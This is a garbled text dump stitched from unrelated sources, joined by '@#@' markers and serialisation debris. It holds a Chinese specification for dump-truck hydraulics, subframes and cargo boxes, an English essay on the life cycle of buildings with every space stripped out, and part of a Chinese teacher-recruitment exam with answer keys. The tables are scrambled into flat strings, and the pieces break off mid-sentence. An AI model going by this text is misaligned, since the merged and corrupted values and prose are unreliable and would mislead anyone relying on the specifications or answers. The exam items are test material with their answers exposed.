@#@@#@4.1.11电气路部分要求符合QC/T413—2002《汽车电气设备基本技术条件》@#@a．在驾驶室安装气控操纵装置,气控阀气管须经驾驶室地板的气管孔处穿出，且布置合理美观,废气应排出在驾驶室外。

@#@@#@b．@#@4.1.12液压倾卸系统符合GB3766《液压系统通用技术条件》；@#@@#@a．液压举升机构能随意举升—中停—下降和慢降，举升、下降应平稳，不得有窜动、冲撞和卡滞现象。

@#@@#@c．液压系统的使用环境温度范围为：

@#@-30℃～+46℃。

@#@@#@d．自卸车液压油管的额定压力不小于20MPa，液压管路和电器管路应布置紧凑，排列整齐、美观，应该用管卡固定牢靠。

@#@@#@e．液压油选用应符合的粘度系数范围（46～75）mm2/s，参见液压油推荐表1、表2。

@#@@#@g．液压倾卸系统各相关部件,旋转摩擦处均设有润滑点，以便于添加润滑脂及液压油；@#@@#@h．液压倾卸系统不得与车箱底板和副车架干涉；@#@@#@i．换向阀应符合ZBT59005规定。

@#@@#@j.@#@4.1.13液压油箱在50kPa气压下经1min密封性能试验，不得有渗漏现象。

@#@液压油箱须安装油滤和空气滤，过滤指标分别为25μm和10μm。

@#@且油箱上应带呼吸阀。

@#@@#@4.1.14液压缸必须安装于副车架中间，液压缸中心线与副车架中心对称面重合，其公差为±@#@2mm。

@#@液压缸的选型见表3。

@#@@#@液压缸选型表3@#@轴距/后悬（mm）@#@箱体内长（mm）@#@箱体结构形式@#@举升角度（°@#@）@#@油缸形式@#@缸径φ（mm）@#@油缸行程范围（mm）@#@进口@#@国产@#@3150+1450/780@#@4810@#@普通箱式@#@48±@#@2@#@活塞T式①@#@180@#@710-750@#@3450+1450/780@#@4800@#@普通箱式@#@48±@#@2@#@FC@#@149@#@3600-3900@#@5200@#@FC@#@149@#@3680-3980@#@活塞T式@#@200@#@750-900@#@5400@#@FC@#@149@#@3800-4050@#@3800+1450/975@#@5172@#@矿用车箱@#@58±@#@2@#@FE@#@149@#@180@#@3662-3900@#@5300@#@普通箱式@#@48±@#@2@#@FC@#@149@#@180@#@3855-4170@#@普矿两用@#@53±@#@1@#@FC@#@149@#@180@#@4040-4185@#@5600@#@普通箱式@#@48±@#@2@#@FC@#@149@#@180@#@4012-4340@#@3800+1450/975@#@5600@#@普矿两用@#@53±@#@1@#@FC@#@149@#@180@#@4638-4803@#@5800@#@普通箱式@#@48±@#@2@#@FC@#@149@#@180@#@4025-4353@#@4450+1450/975@#@6200@#@普通箱式@#@48±@#@2@#@FC@#@169@#@180@#@4416-4777@#@6500@#@普通箱式@#@48±@#@2@#@FC@#@169@#@180@#@4546-4917@#@1500+2950+1450/780@#@6200@#@普通箱式@#@48±@#@2@#@FC@#@169@#@180@#@4306-4658@#@6000@#@普矿两用@#@53±@#@1②@#@FE@#@169@#@180@#@4558-4722@#@1500+3550+1450/780@#@6800@#@普通箱式@#@48±@#@2@#@FC@#@169@#@180@#@4763-5151@#@1500+3550+1450/975@#@7200@#@普通箱式@#@48±@#@2@#@FC@#@169@#@180@#@5074-5488@#@1500+4150+1450/975@#@7500@#@普通箱式@#@45±@#@1@#@FC@#@191@#@195@#@5358-5795@#@1500+4450+1450/975@#@8100@#@普通箱式@#@45±@#@1@#@FC@#@191@#@195@#@5720-6188@#@1500+4750+1450/975@#@8200@#@普通箱式@#@45±@#@1@#@FC@#@191@#@195@#@5920-6402@#@1500+5050+1450/780@#@8500@#@普通箱式@#@45±@#@1@#@FC@#@191@#@195@#@6048-6541@#@注①：

@#@活塞T式适用于中举结构自卸，FC及FE适用于前举结构自卸。

@#@@#@②：

@#@底板后翘15°@#@时，举升角度为（58±@#@2）°@#@，油缸行程为（4880-5200）（mm）。

@#@@#@：

@#@本表轴距后悬仅为参考，油缸选型（缸径，行程）应以各厂家底盘情况选折满足要求的型号。

@#@@#@4.1.15前举升缸油缸与上、下支座处间隙不得大于2mm，且不允许加调整垫。

@#@@#@4.1.16液压泵的额定压力不小于19MPa。

@#@排量要求如下：

@#@@#@─箱长小于5m时，泵排量不小于60ml/rpm；@#@@#@─箱长为5~6m（包括5m）时，泵排量不小于80ml/rpm；@#@@#@─箱长大于6m（包括6m）时，泵排量不小于100ml/rpm；@#@@#@4.1.17箱长大于等于7.2m时,油缸支架要求采用双层钢板（δ10+δ10）焊接成型的下支座（见图1）。

@#@为避免油缸支架与底盘离合器工作缸动态干涉，油缸支架与副车架贴合处应增加20-25mm加高垫板。

@#@@#@4.1.18紧固件拧紧力矩应按照QC/T518《汽车用螺纹紧固件扭矩》执行。

@#@对于安装液压系统时,紧固件的扭矩,见表4。

@#@@#@安装液压系统时紧固件的扭矩表@#@部件@#@螺钉尺寸@#@螺钉强度等级（级）@#@拧紧力矩Nm@#@备注@#@举升缸@#@固定支架@#@M16×@#@1.5@#@8.8@#@199-243@#@　@#@支撑支架@#@M16×@#@1.5@#@8.8@#@199-243@#@　@#@高压油管@#@1〞@#@　@#@75±@#@3@#@　@#@液压阀@#@安装螺钉@#@M8@#@　@#@15±@#@1@#@　@#@调整螺钉@#@M6@#@　@#@10±@#@1@#@　@#@高压接头@#@1〞@#@　@#@75±@#@3@#@　@#@气路接头@#@1/8〞@#@　@#@2.5@#@　@#@油箱@#@橡胶安装块@#@M10@#@　@#@15@#@只使用自锁螺母@#@安全螺钉@#@M10@#@8.8@#@不须拧紧@#@与油箱间留1mm间隙@#@油箱上低压接头@#@11/2〞@#@　@#@至少旋进5圈@#@用乐泰胶577@#@与球阀连接接头@#@11/2〞@#@　@#@至少旋进5圈@#@用乐泰胶577@#@与球阀连接管接头@#@11/2〞@#@　@#@全部旋进@#@用乐泰胶577@#@液压泵@#@90度低压进油接头@#@11/4〞@#@　@#@至少旋进5圈@#@用乐泰胶577@#@低压油管接头至90度弯接头@#@11/4〞@#@　@#@全部旋进@#@用乐泰胶577@#@高压直通接头@#@1〞@#@　@#@75±@#@3@#@　@#@高压管接头@#@3/4〞活接头转直接头@#@3/4〞@#@　@#@115±@#@5@#@用扳手夹紧直接头@#@1〞活接头至转接头@#@1〞@#@　@#@140±@#@5@#@用扳手夹紧直接头@#@副车架@#@安装螺钉、螺母@#@M14@#@8.8@#@122-149@#@　@#@安装螺钉、螺母@#@M16×@#@1.5@#@8.8@#@199-243@#@　@#@4.2上装的副车架部分@#@4.2.1副车架的强度：

@#@副车架要求采用下列结构形式，见图2：

@#@@#@a．副车架后端应带有抗扭X型加强梁，且纵向长度不得小于底盘车架宽度的1.5倍。

@#@@#@b．副车架后翻转轴采用整体贯通轴或整体套管半轴结构。

@#@@#@c．翻转轴直径不小于80mm，材料为圆钢40Cr-GB/T3077-1993，调质处理HB254～302（d10=3.8～3.5）接合表面高频淬火。

@#@@#@d．中举自卸车和箱长大于等于5.8米前举自卸车，副车架前端必须安装平衡翼梁，具体结构见附图20。

@#@@#@e．副车架纵梁采用8mm16Mn、16MnL或B510L钢板压制成型，形状与主车架相同，截面尺寸为200×@#@70（八字梁）、200×@#@95（等直梁）mm，如图3示。

@#@当结构为中举（T式）和侧卸时，200mm≤H（截面高度）≤230mm，翼面宽度为80mm（中举）。

@#@副车架必须增加衬梁，衬梁材料与副车架纵梁材料相同，材料厚度不小于6mm。

@#@@#@f．副车架前端底部切割长度为50mm的斜口，向上倾斜10～30°@#@，形状如图4所示。

@#@@#@g．副车架材料不允许选用槽钢或工字型钢等型材！

@#@不允许在底盘车架与副车架之间加装任何弹性介质！

@#@@#@4.2.2副车架的连接要求@#@a．副车架安装后，底盘车架与副车架的间隙不得大于2mm，该间隙长度不得大于500mm。

@#@@#@b．副车架的连接原则应遵循：

@#@前举车型前端第一个连接点距油缸中心线不大于400mm，中举车型前端第一个连接点距副车架前端面不大于550mm，相邻连接点间距为800-1000mm（如因安装底盘附件而导致无安装空间等特殊情况允许小于1500mm），且牢固可靠，不得有窜动或偏移。

@#@普通车型的连接从前到后为U型螺栓（左右各1个）和止推连接板组合连接。

@#@特殊要求时（如长轴距并严重超载的车型），副车架的联接可全部采用止推连接板。

@#@副车架和底盘承力钢板的连接全部采用螺栓连接，原则上应将所有孔位都固定，特殊情况下允许留有空余空位，但必须是在中间处。

@#@@#@c．副车架翻转轴中心与箱体底板纵向对称面的垂直度公差为5mm。

@#@@#@d．副车架每侧的连接板与底盘车架表面应贴合紧密、牢固。

@#@@#@e．副车架与底盘的连接部件在车辆重载后不得与底盘相关部件发生干涉。

@#@@#@f．副车架与底盘连接螺栓等级不小于8.8级、螺母等级不小于8级。

@#@@#@4.2.3副车架的连接的几种形式@#@a．翻转轴处连接必须采用止推连接板，止推连接板与底盘车架用螺栓连接；@#@对于三轴车，每侧不得少于4条M16螺栓（8.8级以上），对于四轴车，每侧不得少于6条M16螺栓（8.8级以上）。

@#@@#@b．U形螺栓连接仅适用于副车架前端承受扭转负荷较小的部分。

@#@U型螺栓螺纹规格不小于M14，等级不小于8.8级。

@#@@#@c．图7为常用的连接方式，连接板厚度采用（6-12）mm钢板；@#@与底盘车架连接螺栓不得小于8.8级（与底盘共用螺栓不得小于10.9级）；@#@每块连接板的螺栓规格不得小于M14，与底盘连接螺栓不得少于2条，与副车架连接采用焊接形式@#@4.2.4前举或中举自卸车，箱体后翻转轴距后桥中心的距离A的最大限值要求，见图8、表5：

@#@@#@前举或中举自卸车，箱体后翻转轴距后桥中心的距离A的最大限值要求（表5）@#@底盘形式@#@厢长m@#@Amax@#@两轴三轴（6×@#@2）@#@4.2-5.2@#@≤1050mm@#@三轴@#@4.8-7.5@#@≤800mm@#@四轴@#@6.0-8.5@#@≤770mm@#@4.3箱体@#@4.3.1总则@#@a．箱体内部尺寸公差为±@#@20mm。

@#@@#@b．普通箱体后立柱处的侧板和底板必须留有剪边，剪边宽度不得小于5mm。

@#@@#@c．箱体举升至10°@#@时，后门必须能自由开合。

@#@@#@d．箱体自由回落时，箱体与副车架之间的间隙要求：

@#@箱体纵梁与副车架贴合面的尾端间隙不得大于5mm，其余位置不得大于8mm。

@#@@#@e．对箱体有特殊要求时，应在产品技术文件中另行规定。

@#@@#@4.3.2箱体零部件制造要求@#@4.3.2.1箱体侧板参照图9，侧板需安装上车梯。

@#@@#@ @#@@#@a．侧板上边梁1截面尺寸：

@#@250×@#@80mm，如图10。

@#@厚度：

@#@当边板厚度大于等于8mm时，厚度为6mm；@#@当边板厚度小于8mm时，厚度为4mm。

@#@@#@b．竖筋2的截面尺寸：

@#@200×@#@73mm，间距≦500。

@#@厚度：

@#@当边板厚度大于等于8mm时，厚度为6mm；@#@当边板厚度小于8mm时，厚度为4mm。

@#@@#@c．横筋3的截面尺寸：

@#@200×@#@63（上侧带120度斜面），如图11，厚度为4mm；@#@@#@d．侧板前、后立柱4截面尺寸：

@#@500×@#@85mm，厚度：

@#@当边板厚度大于等于8mm时，厚度为6mm；@#@当边板厚度小于8mm时，厚度为4mm。

@#@@#@e．侧板下边梁5截面尺寸：

@#@200×@#@80（上侧带120度斜面），如图12。

@#@厚度：

@#@当边板厚度大于等于8mm时，厚度为6mm；@#@当边板厚度小于8mm时，厚度为4mm。

@#@@#@ @#@@#@f．当箱体内高小于1200mm时，侧板采用竖筋结构；@#@当箱体内高大于等于1200mm时，侧板采用“田字格”结构。

@#@@#@g．侧板总长=箱体内长+75mm@#@h．侧板总高=箱体内高+150mm@#@i．表6为各种箱长对应的竖筋个数及间距：

@#@@#@自卸车各种厢长对应的竖筋个数及间距@#@序号@#@厢长@#@竖筋个数@#@1@#@4810@#@5@#@2@#@5200@#@6@#@3@#@5300@#@6@#@4@#@5400@#@6@#@5@#@5600@#@6@#@6@#@5800@#@7@#@7@#@6200@#@7@#@8@#@6400@#@8@#@9@#@6500@#@8@#@10@#@6800@#@8@#@11@#@7000@#@8@#@12@#@7200@#@9@#@13@#@7500@#@9@#@14@#@8100@#@10@#@15@#@8200@#@10@#@16@#@8500@#@11@#@17@#@8900@#@12@#@4.3.2.2侧开门要求:

@#@箱长大于7500mm（含7500mm）时，每侧侧板两端开两个小门，侧门尺寸为1500×@#@700mm，侧门为上铰链上开式。

@#@@#@4.3.2.3箱体底板参照图13，底板总成的平面度为10mm，对角线之差应不大于20mm。

@#@对于三桥自卸车箱长大于6500mm（不含6500mm），四轴自卸车箱长大于7200mm（不含7200mm）时，箱体底板采用四纵梁降高结构，参照图14，闭合高度（副车架与箱体底板纵梁高度之和）为360mm。

@#@@#@图14@#@a．底板横梁1的截面尺寸，两纵梁结构：

@#@通梁时100×@#@150，非通梁时120×@#@150，间距≦450（布置中举举升机构处除外）；@#@四纵梁结构：

@#@100×@#@150，间距≦450。

@#@@#@b．底板横梁均布，厚度为：

@#@当底板厚度大于等于10mm时，厚度为6mm；@#@当底板厚度小于10mm时，厚度为4mm。

@#@@#@c．底板纵梁2、3的截面尺寸，两纵梁：

@#@160×@#@150×@#@8mm；@#@四纵梁：

@#@160×@#@150×@#@8mm、120×@#@（90～120）×@#@（6～7）mm。

@#@@#@d．两纵梁：

@#@前纵梁外宽900mm，后纵梁外宽1420mm。

@#@四纵梁：

@#@内侧纵梁外宽900mm，外侧纵梁外宽1380mm。

@#@@#@e．横梁为通梁时不加加固三角板，横梁为非通梁时每隔一横梁在一侧加加固三角板。

@#@@#@4.3.2.4箱体前板有两种形式，普通式和内嵌式，分别参照图15、图16。

@#@@#@a．前板竖筋1截面尺寸：

@#@160×@#@60mm，间距660mm；@#@前板横筋2的截面尺寸：

@#@160×@#@50mm。

@#@@#@b．前帽沿长度的规定：

@#@短驾自卸车箱体帽沿长度为1100mm，长驾自卸车箱体帽沿长度为600mm，不能与驾驶室或空调干涉，不能影响驾驶室的跳动、翻转，参照图17。

@#@L1长度为100mm，L2长度为200mm，当驾驶室为长驾时：

@#@L3为600mm，为卧缸结构时L3为350mm；@#@当驾驶室为短驾时：

@#@L3为1100mm。

@#@@#@4.3.2.5箱体后门参照图18@#@图18@#@a．后板立柱1截面尺寸：

@#@200×@#@80mm，厚度：

@#@当边板厚度大于等于8mm时，厚度为6mm；@#@当边板厚度小于8mm时，厚度为4mm。

@#@@#@b．后板上边梁2截面尺寸：

@#@200×@#@80mm，厚度：

@#@当边板厚度大于等于8mm时，厚度为6mm；@#@当边板厚度小于8mm时，厚度为4mm。

@#@@#@c．竖筋3的截面尺寸：

@#@200×@#@73mm，竖筋为3根，间距均布，厚度：

@#@当边板厚度大于等于8mm时，厚度为6mm；@#@当边板厚度小于8mm时，厚度为4mm。

@#@@#@d．后板下边梁4截面尺寸：

@#@斜口槽200×@#@80mm（上侧带120度斜面），如图19，厚度：

@#@当边板厚度大于等于8mm时，厚度为6mm；@#@当边板厚度小于8mm时，厚度为4mm。

@#@@#@@#@图18图19@#@e．横筋5的截面尺寸：

@#@斜口槽200×@#@63（上侧带120度斜面），如图20，厚度为4mm。

@#@@#@f．当箱体内高小于1200mm时，后板采用竖筋结构；@#@当箱体内高大于等于1200mm时，后板采用“田字格”结构。

@#@@#@g．后门高度=箱体内高+50mm@#@h．加4个包角，见图21。

@#@@#@图21图23@#@i．后门顶部铰接件必须保证强度，铰接件可为普通结构或两节式结构，单双铰链的选装由整车后悬、箱体内高和内长决定。

@#@当整车后悬大于等于1900或箱体内长大于等于7200或箱体内高大于1500，满足其中任一条件时，需采用两节式结构。

@#@铰接件分别见图22，图23。

@#@@#@4.3.2.6箱体为普矿两用时，结构参照图24、图25。

@#@底板横梁为贯通结构，截面为150×@#@100×@#@8mm，横梁间距不得大于300mm；@#@侧板件1～5结构同4.3.2要求。

@#@各筋板料厚不得小于6mm；@#@边板上边梁采用梯形结构，料厚为8mm。

@#@侧板尾端面与水平面垂直。

@#@@#@图24@#@图25@#@4.3.2.7箱体加活板时，两侧板后立柱和后门左右侧立柱如无明确要求为整体加高时，均采用分体加高，加高尺寸与活板高度尺寸相同，参见图26。

@#@厢体后立柱、后门立柱、后门上铰链为可拆卸式加高结构，即拆去加高的厢体后立柱和所有活板时，后门铰链仍可与侧板、后门组合使用。

@#@加高活板与侧、后板及侧后立柱之间采用无间隙结构。

@#@如无特殊要求，活板与侧板、前后立柱连接方式为插接板连接，当H≤200mm时，插接板间距不得大于3000mm；@#@当H＞200时，止推板间距不得大于2000mm。

@#@当活板高度小于600mm时按下图";i:

13;s:

10234:

"毕业设计外文翻译建筑生命周期@#@外文文献：

@#@　@#@THELIFECYCLEOFBUILDING@#@ @#@@#@ABSTRACT@#@SustainableBuildingisaglobalissue.Thelifecycleofbuildinginfluencesthelifecyclesof@#@thewholeplanetdramatically.@#@SomeofthemethodsconcerningEnvironmentally-SoundandHealthyBuilding,developedandusedinTheNetherlandswillbepresentedanddiscussedintheperspectiveofworldwideeffects.Awarenessaboutanddevelopmentofthosemethodsandapproachesareactuallyyetnotattheirend.@#@ThescientificandtechnicalcomplexityofthethemeandthefactthattheobjectivesareitemsofcommercialandpoliticalinterestsmakeSustainableBuildingadelicateproblem.@#@However,afterhavingseenhowcomplicateditistocontributetoaSustainableDevelopmentsubstantially,wewillconcludewithsomeRulesofThumbandInnovativeproposals,inordertostimulatemoresignificantcontributionsinthefuture.@#@@#@INTRODUCTION@#@KnowledgeonSustainableBuildingwasanitemofhighestimportancealreadyinthebeginofhumancultureandcivilisation.Lookingback,inhistory,wefindthatSustainableBuildingwasaquestionofsurvival.Protectionagainstweathercircumstances,dangerousanimalsandhostilefellowmenbelong（ed）tothemainfunctionsofabuilding.Inordertofulfilthesedemandsitwasnecessarytofindanequilibriumbetweentheenvironmentallyorecologicallybasedpossibilitiesofresourcesandtheirlimitsandtheneedsandwishesforadurablehome.Besidethisitwasdeterminingforabuiltresult,whichandhowmuchcapacitiesfortherealisationwereavailable.Energyforbuildingpurposeswasmainlygivenbyhumanpower,andforapartbytheuseofanimalsandmoreindirectlysometimesbyfireorwind.Butfirewasdependentfromfuel.Similarlytherewasonlybuildingmaterialathand,whichcouldbefoundneartothesite,becauseitwasgenerallytoocostly,nearlyimpossible,totransportmainmaterialsfromasourcefaraway.@#@Whenhumankindstartedtoexploitorproduce（'@#@hard）energyonalargescale-atleastapart,inthesocalledWest-bysteam,electricityfromfuelslikecoal,mineraloil,gas,hydropowerandfinallynuclearpower,thesceneofbuildingchangeddramatically,certainlyintherichcountries,whichusedandstillusetoexploitothers.@#@Inspiteofpollution,deteriorationandexploitation-thesephenomenaevenmostlyfullyignored-thesocalledindustrialrevolutionstarted.Independentfromavitalneed,massproductionfirstlyofallkindsofgoodsandlaterofmoreandmorebuildingproductsstarted.Withtheeconomicalinterestandpoweritwaspossibletocreatemarketsandtosellthemassproducts,eventofarawaylocatedconsumers,whiletherelativeeasynewtransportationlinesoftrainandshipandlateroftruckandairplane,helpedandhelpstilltobringorcatchrawmaterialsfromfaraway.RegionalbuildingdisappearedinbigpartsoftheworldandwithanInternationalArchitectureitwasevenpostulated,thateverythingcouldbethesameeverywhere.@#@Inthelastdecadesweslowlyrecognizedtheterribleeffectsofthiswaytobuildinourenvironmentaswellasonourselves.Themondialdisastermightbe,forapproximatelyathird,theeffectofthebuildingactivities,whiletheSickBuildingSyndromeisfullycreatedbytherecentandnowadayswaytobuildandtodwell.Atthesametimeweshouldbeawarethattherichappearing,technologicaladvancedcountries,whichareapproximately20%ofthewholehumankind,caneffortthis'@#@style'@#@onlybyexploitingthe+80%ofhumankind,whicharecalledthePoor,underwhomapopulationofabout20%hardlycansurvive.@#@ItseemsextraordinarydifficulttoincreasetheawarenessofthefirstWorldconcerningtheserelationswithinourmondialsociety.Butevenmoredifficultitistotransformourbehaviourtowardsmorebalancedcircumstancesintheworld.Thiscontributionaimstohelp,modestly,tosupportastrategytogetherwiththenecessary'@#@knowhow'@#@towardsSustainableBuildingasanessentialpartofSustainableDevelopment.@#@Theentirebuildingprocess–fromcradletograveorevenfromcradletocradle–inits@#@relationtotheenvironmentintermsofenergyuseandemissionbetweendigging（input）@#@outoftheenvironmentandbringingback（output）intotheenvironment.@#@Onthewayofthislifecyclewefaceexploitation,pollutionanddeteriorationofthe@#@environment.Partialreuseisalwaysgood,butitisonlyaverylowcompensationforthe@#@damages,whichthewholeprocesscauses.@#@LIFECYCLE@#@Lookingmorecarefully（thanusual）totheLifeCycleofmaterialsandproducts（andsimilarlyalsototheflowofenergy）,appliedforallkindsofpurposes,includingbuilding,itisusefultodistinguishintherelationshipofthechangesamaterial（oranenergy）undergoeswithspaceandtime.Doingso,wesystematicallycanfocusonthevariousimpactswhichthechainofcausesandeffectsofthelifecycleofamaterialhas,indifferentscalesandonshort,middle,andlongterm.@#@Beforeandafterthefinalapplicationanddestinationofamaterial,asacomponentinabuilding,whileitisused-theactualgoalofabuildingmaterial-wecandistinguishanumberofcharacteristicactivities.Thereareroughlythefollowingactivities:

@#@Beforethephaseofusingamaterialitfirstlyhastobediggedor'@#@harvested'@#@outoftheenvironment.@#@Secondlythebuildingmaterialhastobemadeoutorproducedfromtherawmaterial.@#@Thirdlyandmostlythereisacertainassemblageneededinordertogetausefulbuildingcomponent.Inbetweenthesemainactivities,transportandstorageisneededveryoften.@#@Alloftheseactsneedenergyandthereishardlyoneofthemwhichdoesnotcreateemissions.@#@Tomakeabuildinguseful,itneedsthefinishingtouchtogetherwiththeintegrationofallequipmentandfurniture,whichwillgoonduringtheuseofthebuildingtogetherwithcleaning,caretakingandexploitingthebuilding.Heatingand/orcoolingandlightingareconditionalinthisperiodaswell.Again,allofthesehandlingsneedenergyandthereishardlyoneofthem,whichdoesnotpollutetheenvironment.@#@Afterandpartiallyalreadyduringthephaseofuse,itwillappear,thatchanges,or,atleaststrong,maintenanceisneeded.Partialdemolitionwillbeoneoftheconsequences,thanpartialorfullrenewalorrefurbishmentcantakeplace.Althoughthereisaresource-savingpossibilityofreuseofvariousgradationswithmoreorlessmanipulations,neededforafinalproperreuse-again'@#@wecansingtherefrainoftheneedofenergyandemission'@#@.@#@Finally,everything,includingtheenergyflow,endsupintheenvironment.Butontheway,unfortunately,thehandlingmostlywasexecutedwithoutconsiderationfortheavailabilityofresourcesonlongterm,inotherwordsexploitation,withoutconsiderationforpollutioneitheroftheenvironmentand/orconcernedandcommittedpersonsandpeople.Alreadynowadayswegottheproof,thatmanyofthenegativeeffectswilllastforalongandverylongtime.@#@Werecognizethewholelifecycleasanextraordinaryplotontheenvironment,and,paradoxicalenough,veryoftenalsoasaplotagainstourownhealthandsafety,certainlyonalongterm.@#@IfwewouldliketoreachaSustainableDevelopmentwehavetoreducetheconsumptiongenerally,wehavetoreducetheconsumptionofenergy,directlyandindirectlyused,andwehavetominimizeoreventoexcludethepollution.Concerningdeteriorationofthelandscapeandexploitationofresourcesweearnestlyhavetosearchforrenewablesources,whichsapplicationsleadonlytoashortlastingdeterioration.@#@EFFECTS@#@Theeffectsofbuildingactivitiesaremanifold.Intheformerchapterwespentattentiontothelifecycleofa（building）material,mainlyintermsofphasesorperiods,shortlyintermsoftime.Concerningspaceitispossibletodistinguishanumberofdimensionsorscales,inordertobeabletospecifyeffectsinthisfield（s）.Thereisapracticalorderwiththedimensionof:

@#@@#@-Local-Regional-Fluvial-Continental-Mondial,andeven-Cosmic-withreferencetothefact,thattheproductionandtrafficprocesses,shippingandspaceexploration.@#@Thussixdimensions.@#@Theareaswhich（can）undergoanimpactandinfluencecanbedistinguishedinto:

@#@@#@-Earth（theground,includingtheMineralKingdom）-Water（allkindsofrivers,lakes,seas,..）-Air（theatmosphere）-Energy（mainlytheenergysources）,furthermorethePlantsKingdom-theAnimalKingdom-Humans（tobeunderstoodalsoasapartofnature）withtheir（valuable）CulturalArtefactsandpossiblymiscellaneous,Nineareasintotal.@#@Theseareas,justexplained,canbefoundonlocal,regional,fluvial,continentalandmondialscale.Thismeans,thatanimpactorinfluence,causedbyaproductionprocessortheuseofbuildingcanaffectoreffecttheseareaslocally,fluvially,continentally,mondiallyorevencosmically.Thussixdimension.@#@Besidethis,itisnecessarytorealise,thattheeffectscancomefromthevariousactivities,connectedtothewholelifecycleofabuildingmaterialorproductandtheconcernedprocesses.Wedistinguishednineofthoseactivities.Threebefore,threeduringandthreeaftertheuseofabuilding,ninetogether.@#@Thepossibleeffectsareinnumerable.SickBuildingSyndromeontheonehand,pollution,deteriorationandexploitationontheotherhand,areonlyrathersummarizingeffects.@#@Thereportsonbaseofmeasurementsandenquiriesconcerningbuildingrelatedillnesses,human-andecotoxicologicalproblems,amongstothersinthefoodchainsofanimalsandmen,changesoflandscapesandendingresources,besidetheelianatedanddecreasingculturalvalues,goesalreadyinthetens,hundreds,thousands,perhapstenthousand";i:

14;s:

28599:

"@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　湖北省宜昌市长阳土家族自治县事业单位教师招聘考试《教育基础知识》真题库及答案解析@#@　　注意事项@#@　　1、请用钢笔、圆珠笔或签字在答题卡相应位置填写姓名、准考证号，并用2B铅笔在答题卡指定位置填涂准考证号。

@#@@#@　　2、本试卷均为选择题，请用2B铅笔在答题卡上作答，在题本上作答一律无效。

@#@@#@　　一、单项选择题（在下列每题四个选项中只有一个是最符合题意的，将其选出并把它的标号写在题后的括号内。

@#@错选、多选或未选均不得分。

@#@）@#@　　1、（）教学模式强调教师的指导作用，认为知识是教师到学生的一种单向传递的过程，非常注重教师的权威性。

@#@@#@　　A、传递—接受式@#@　　B、加涅@#@　　C、自学—辅导式@#@　　D、范例@#@　　【答案】A@#@　　【解析】传递—接受式教学模式源于赫尔巴特的四段教学法，该模式以传授系统知识、培养基本技能为目标。

@#@@#@　　其着眼点在于充分挖掘人的记忆力、推理能力与间接经验在掌握知识方面的作用，使学生比较快速有效地掌握更多的信息。

@#@该模式强调教师的指导作用，认为知识是教师到学生的一种单向传递的过程，非常注重教师的权威性。

@#@故选A。

@#@@#@　　2、素质教育强调“选择适合儿童的教育，而不是挑选适合教育的儿童”。

@#@这说明素质教育（）。

@#@@#@　　A、以提高国民素质为根本宗旨@#@　　B、是面向全体学生的教育@#@　　C、是促进学生个性发展的教育@#@　　D、以培养学生创新精神和实践能力为重点的教育@#@　　【答案】B@#@　　【解析】四个选项都是素质教育的内涵，题干中反映的是素质教育不是为了选拔，而是面向全体学生。

@#@故选B。

@#@@#@　　3、人民教师职业道德的核心是（）。

@#@@#@　　A、热爱学生@#@　　B、为人师表@#@　　C、忠诚于人民的教育事业@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　D、团结互助@#@　　【答案】A@#@　　【解析】教师职业道德的核心是热爱学生，因为爱是教育的桥梁，爱是教育的钥匙，爱是教育成功的种子。

@#@@#@　　尊重学生人格是热爱学生的突出表现。

@#@故选A。

@#@@#@　　4、“建国君民，教学为先”@#@　　“化民成俗，其必由学”揭示了（）。

@#@@#@　　A、教育与政治的关系@#@　　B、教育与经济的关系@#@　　C、教育与文化的关系@#@　　D、教育与科技的关系@#@　　【答案】A@#@　　【解析】@#@　　“建国君民，教学为先”意为建设国家，管理公众事务，教育为最优先、最重要的事情；@#@@#@　　“化民成俗，其必由学”意为要教化人民，造成良好的风俗习惯，一定要从教育人手。

@#@综上可知，这两句话揭示了教育和政治的关系，经济、文化和科技在此均未体现。

@#@故选A。

@#@@#@　　5、以下教学模式和倡导者对应不正确的是（）。

@#@@#@　　A、范例教学——瓦根舍因@#@　　B、发现式教学——布卢姆@#@　　C、最优化教学——巴班斯基@#@　　D、程序教学——斯金纳@#@　　【答案】B@#@　　【解析】发现式教学的倡导者是布鲁纳。

@#@其他选项均正确。

@#@故选B。

@#@@#@　　6、“见贤思齐，见不贤而内自省也”说明（）是教师职业道德修养的重要方法。

@#@@#@　　A、向先进人物学习@#@　　B、开展批评与自我批评@#@　　C、坚持知行统一@#@　　D、努力做到“慎独”@#@　　【答案】A@#@　　【解析】@#@　　“见贤思齐，见不贤而内自省也”意思就是看见有德行或才干的人就要想着向他学习，看见没有德行或才干的人就要自己内心反省是否有和他一样的错误。

@#@这是一种向先进人物学习的教师职业道德修养方法。

@#@@#@　　故选A。

@#@@#@　　7、科学知识在未用于生产之前，只是一种意识形态的潜在的生产力，要把潜在的生产力转为人能掌握并用于生产的现实生产力，必须依靠（）。

@#@@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　A、自学@#@　　B、训练@#@　　C、培训@#@　　D、教育@#@　　【答案】D@#@　　【解析】教育对生产力具有促进作用，是科学知识再生产的手段。

@#@科学知识在未用于生产之前，只是一种意识形态或潜在的生产力，要把潜在的生产力转化为人能掌握的现实生产力，必须依靠教育。

@#@故选D。

@#@@#@　　8、孔子说“其身正，不令而行；@#@其身不正，虽令不从”，这说明教师应该具备（）素质。

@#@@#@　　A、良好的道德修养@#@　　B、团结协作精神@#@　　C、人际交往能力@#@　　D、忠于职守@#@　　【答案】A@#@　　【解析】孔子的话说明教师要具备良好的道德修养，这样才能给学生树立良好的榜样，促进师生关系的发展。

@#@@#@　　教师在教育教学活动中具有示范性，其言行举止都会成为学生仿效的对象，因此教师一定要以身作则，为人师表，做好学生的表率和榜样，从而更好的帮助学生成长。

@#@故选A。

@#@@#@　　9、保护未成年人的工作应当遵循的原则不包括（）。

@#@@#@　　A、尊重未成年人的人格尊严@#@　　B、注重言传身教@#@　　C、适应未成年人身心发展的规律和特点@#@　　D、教育与保护相结合@#@　　【答案】B@#@　　【解析】@#@　　《中华人民共和国未成年人保护法》规定，保护未成年人的工作，应当遵循下列原则：

@#@@#@　　

（一）保障未成年人的合法权益；@#@@#@　　

（二）尊重未成年人的人格尊严；@#@@#@　　（三）适应未成年人身心发展的特点；@#@@#@　　（四）教育与保护相结合。

@#@故选B。

@#@@#@　　10、以“应当怎样”和“不应当怎样”的表述来规范教师的言行，保证教育行为的正常进行，体现了教师职业道德的（）。

